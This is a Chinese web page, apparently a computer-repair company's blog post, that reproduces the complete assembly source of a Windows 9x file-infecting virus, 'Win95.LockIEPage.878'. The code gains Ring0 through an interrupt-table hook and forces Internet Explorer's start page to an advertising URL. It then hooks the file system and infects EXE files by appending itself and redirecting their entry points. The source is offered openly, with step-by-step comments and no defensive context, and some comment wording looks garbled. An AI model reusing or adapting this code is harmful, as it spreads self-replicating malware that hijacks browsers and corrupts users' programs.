设为主页 | 加入收藏 | 繁體中文

Win9x病毒--Win95.LockIEPage.878原代码

  include win32v.inc
  extrn ExitProcess: proc
  .586p
  .model flat,stdcall
  .data
  @@Start:
  pushad
  push eax
  sidt [esp-2] ;保存Idt基地址
  pop esi ;弹出Idt基地址
  add esi,3*8 ;得到停止03的线形地址指针
  mov ecx,[esi]
  mov edx,[esi+4] ;保存停止03的线形地址
  call @@SetMyInt03
  @@MyInt03: ;我的停止03 Ring0程序
  pushad
  mov [esi],ecx
  mov [esi+4],edx ;规复停止03的线形地址
  mov eax,dr3 ;我用dr3做病毒标记
  mov ecx,VirusFlag
  @@IsInstalled:
  cmp eax,ecx
  jz @@ExitHook
  mov dr3,ecx ;设置病毒标记
  call @@SetVxdCall ;填写VXDCALL指令(Int 20h)
  @@SetVxdCallOk:
  push eax
  push esp
  call @@PushPathNameAddr
  PathName db "SoftWare\MicroSoft\Internet Explorer\Main",0
  @@PushPathNameAddr:
  push 80000001h
  @@RegOpenKey:
  int 20h ;翻开注册表一个Key
  dd 00010148h ;VMMCall_RegOpenKey
  add esp,3*4
  pop ebp
  or eax,eax
  jnz short @@OpenRegKeyError
  push 040h
  call @@PushHttpNameAddr
  HttpName db http://202.115.16.8/~ekang",0 ;这是告白网页
  @@PushHttpNameAddr:
  push 01h
  push 00h
  call @@PushValueNameAddr
  ValueName db "Start Page",0
  @@PushValueNameAddr:
  push ebp
  @@RegSetValueEx:
  int 20h ;设置IE Start Page页面为我的告白网址
  dd 00010152h ;VMMCall_RegSetValueEx
  add esp,6*4
  push ebp
  @@RegCloseKey:
  int 20h ;封闭注册表句柄
  dd 00010149h ;VMMCall_RegCloseKey
  add esp,1*4
  @@OpenRegKeyError:
  push L 0fh
  push L 00
  push L -1
  push L 00
  push L 00
  push L 00
  push L 01
  push L 02
  @@AllocPage:
  int 20h ;为病毒毗连一个挂接页(大小=1000h)
  dd 00010053h ;VMMCall_AllocPage
  add esp,8*4
  or eax,eax
  jz short @@ExitHook ;毗连失败
  mov edi,eax
  call @@GetVirusStartAddr
  @@GetVirusStartAddr:
  pop esi
  sub esi,OFF @@GetVirusStartAddr-OFF @@Start
  mov ecx,VirusSize
  cld
  rep movsb ;将病毒搬移到Ring0页内
  mov edi,eax
  add eax,OFF @@MyFileHookApi-OFF @@Start
  push eax
  @@HookFileApi:
  int 20h ;挂接文件体系
  dd 00400067h ;VMMCall_HookFileSystem
  add esp,04h
  mov [edi+OFF OldFileHookApi-@@Start],eax
  @@ClsOptFlag:
  xor eax,eax ;扫除重入标记
  mov [edi.OFF OptFlag-OFF @@Start],eax
  @@ExitHook:
  popad
  iretd ;返回到Ring3继续,标号@@Ring3GoOn
  @@SetMyInt03:
  cli
  pop W[esi]
  pop W[esi+6] ;修改停止03的线形地址
  int 03 ;进入Ring0标号@@MyInt03
  @@Ring3GoNo:
  sti
  popad
  MoveToEax db 0b8h
  OldAppEntry dd OFF @@Exit
  jmp eax ;跳去执行原程序
  ;IFSFileHookFunc(pIFSfn,nfn,nDrv,nRType,nCP,pir);
  @@MyFileHookApi:
  pushad
  mov ebp,esp
  push ds
  push es
  push ss
  pop ds
  push ss
  pop es ;设置数据段
  cmp D[ebp+(8+1+1)*4],36 ;是否翻开文件挪用?
  jnz short @@OldFileHookApi
  call @@GetPathName
  @@OldFileHookApi:
  pop es
  pop ds
  popad
  JmpMem dw 25ffh ;跳到原文件挂接函数运行
  OldFileHookApi dd ?
  OptFlag dd 00h
  @@GetPathName:
  pop esi
  push esi ;Push Back Addr
  @@IsOptFlagSet:
  add esi,OFF OptFlag-OFF @@OldFileHookApi
  mov ecx,VirusFlag
  cmp [esi],ecx ;是否重入?
  jz short @@RetOldHookApi
  @@SetOptFlag:
  mov [esi],ecx ;设置重入标记
  add esi,OFF FilePathBuffer-OFF OptFlag
  mov edi,esi
  mov eax,[ebp+(8+1+2)*4];Get nDriver(1=A;2=B,3=C...)
  add ax,":A"-1
  cld
  stosw ;结构Ansi路径名
  mov esi,[ebp+(8+1+5)*4];Get ioreq
  mov eax,[esi+0ch];Get UniCode PathName Addr
  add eax,04h
  push L 0
  push L 100h
  push eax
  push edi
  @@UniToBCSPath:
  Int 20h ;继续结构Ansi路径名
  dd 00400041h ;VMMCall_UniToBCSPath
  add esp,4*4
  or eax,eax
  jz short @@ClearOptFlag
  mov eax,[edi+eax-4]
  not eax
  cmp eax,not ("EXE.") ;是EXE文件吗?
  jnz short @@ClearOptFlag
  call @@OptFile
  @@ClearOptFlag:
  pop esi
  push esi ;Push Back Addr
  add esi,OFF OptFlag-OFF @@OldFileHookApi
  xor eax,eax
  mov [esi],eax ;扫除重入标记
  @@RetOldHookApi:
  ret
  @@OptFile: ;以下是修改PE文件,将病毒复在原文件尾
  mov esi,edi
  dec esi
  dec esi
  mov ebp,esi ;保存FilePathName地址在ebp中
  mov eax,4300h
  call @@FileIo ;IFSCall_FileIo 得到文件属性
  jc @@OpenFileFalse
  push ecx ;保存文件属性
  xor ecx,ecx
  mov eax,4301h
  call @@FileIo ;IFSCall_FileIo 将文件属性设为0
  xor eax,eax
  mov edx,eax
  inc edx
  mov ebx,edx
  inc ebx
  mov ax,0d500h
  call @@FileIo ;IFSCall_FileIo 翻开文件
  pop ecx ;弹出文件属性
  pushfd ;保存标记
  push eax ;保存文件Ring0句柄
  mov eax,4301h
  call @@FileIo ;IFSCall_FileIo 设置文件属性,规复文件属性
  pop ebx ;弹出文件Ring0句柄
  popfd
  jc @@OpenFileFalse
  @@GetReadFileBuffer:
  add esi,size FilePathBuffer
  mov ecx,size ReadFileBuffer
  xor edx,edx
  mov eax,0d600h ;IFSCall_FileIo 读文件
  call @@FileIo
  jc @@CloseFile
  cmp eax,ecx
  jnz @@CloseFile
  cmp word ptr [esi],"ZM" ;是Exe文件吗?
  jnz @@CloseFile
  movzx eax,word ptr[esi+3ch]
  cmp eax,size ReadFileBuffer-200h
  ja @@CloseFile
  add esi,eax ;esi=Pe文件Pe头结构
  cmp [esi.fhPEFlag],"EP" ;是Pe文件吗?
  jnz @@CloseFile
  cmp [esi.fhCheckSum],VirusFlag ;曾经熏染过了吗?
  jz @@CloseFile
  mov [esi.fhCheckSum],VirusFlag ;设置熏染标记
  @@SaveOldAppEntryRVA:
  mov eax,[esi.fhEntryRVA]
  add eax,[esi.fhImageBase] ;得到老文件入口线形地址
  mov [ebp+OFF OldAppEntry-OFF FilePathBuffer],eax
  movzx ecx,[esi.fhObjectCount]
  dec ecx
  mov eax,size ObjectTable
  mul ecx
  cmp eax,size ReadFileBuffer-200h
  ja short @@CloseFile
  lea edi,[esi.fhObjectTable00+eax] ;得到最后一块段表地址
  mov edx,[edi.otPhysOffset]
  add edx,[edi.otPhysSize]
  mov ecx,VirusSize
  push esi
  @@GetVirusBase:
  mov esi,ebp
  sub esi,OFF FilePathBuffer-OFF @@Start
  mov eax,0d601h
  call @@FileIo ;IFSCall_FileIo 写文件,将病毒写在最后一段的末尾
  pop esi
  jc short @@CloseFile
  @@SetNewEntryRVA:
  mov eax,[edi.otPhysSize]
  add eax,[edi.otRVA]
  mov [esi.fhEntryRVA],eax ;转变文件的入口RVA(相对假造地址)
  @@FixOtherHeaderVar: ;修改相干文件头变量
  add [edi.otPhysSize],ecx
  mov eax,[edi.otPhysSize]
  sub eax,[edi.otVirtSize]
  jb short @@VirtSizeIsBigger
  @@PhysSizeIsBigger:
  add [edi.otVirtSize],eax
  add [esi.fhImageSize],eax
  @@VirtSizeIsBigger:
  nop
  @@GetReadFileBuffer0:
  mov esi,ebp
  add esi,size FilePathBuffer
  @@WriteBackFileHeader:
  mov ecx,size ReadFileBuffer
  xor edx,edx
  mov eax,0d601h
  call @@FileIo ;IFSCall_FileIo 写文件,将文件头写回文件
  @@CloseFile:
  mov eax,0d700h
  call @@FileIo ;IFSCall_FileIo 封闭文件
  @@OpenFileFalse:
  ret
  @@FileIo:
  int 20h ;这里是IFSCall_FileIO子函数
  dd 00400032h
  ret
  @@SetVxdCall: ;以下是规复VXDCALL(Int 20h)指令
  pop ebx
  push ebx
  mov ax,020cdh
  lea esi,[ebx+OFF @@VxdCallTable-@@SetVxdCallOk]
  cld
  lea edi,[ebx+OFF @@RegOpenKey-OFF @@SetVxdCallOk]
  stosw
  movsd
  lea edi,[ebx+OFF @@RegSetValueEx-OFF @@SetVxdCallOk]
  stosw
  movsd
  lea edi,[ebx+OFF @@RegCloseKey-OFF @@SetVxdCallOk]
  stosw
  movsd
  lea edi,[ebx+OFF @@AllocPage-OFF @@SetVxdCallOk]
  stosw
  movsd
  lea edi,[ebx+OFF @@HookFileApi-OFF @@SetVxdCallOk]
  stosw
  movsd
  lea edi,[ebx+OFF @@UniToBCSPath-OFF @@SetVxdCallOk]
  stosw
  movsd
  lea edi,[ebx+OFF @@FileIo-OFF @@SetVxdCallOk]
  stosw
  movsd
  ret
  @@VxdCallTable: ;VXD挪用列表
  dd 00010148h ;VMMCall_RegOpenKey
  dd 00010152h ;VMMCall_RegSetValueEx
  dd 00010149h ;VMMCall_RegCloseKey
  dd 00010053h ;VMMCall_AllocPage
  dd 00400067h ;IFSCall_HookFileApi
  dd 00400041h ;IFSCall_UniToBCSPath
  dd 00400032h ;IFSCall_FileIo
  VirusMsg db "Lock IE Start Page Ver 2.0,By Whg 2001.6.13",0
  @@VirusEnd:
  VirusSize=OFF @@VirusEnd-OFF @@Start
  VirusFlag=VirusSize
  FilePathBuffer db 100h dup(?) ;文件Ansi路径Buffer
  ReadFileBuffer db 900h dup(?) ;原PE文件数据Buffer
  .code
  @@Exit:
  call ExitProcess,L 0
  ends
  end @@Start
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: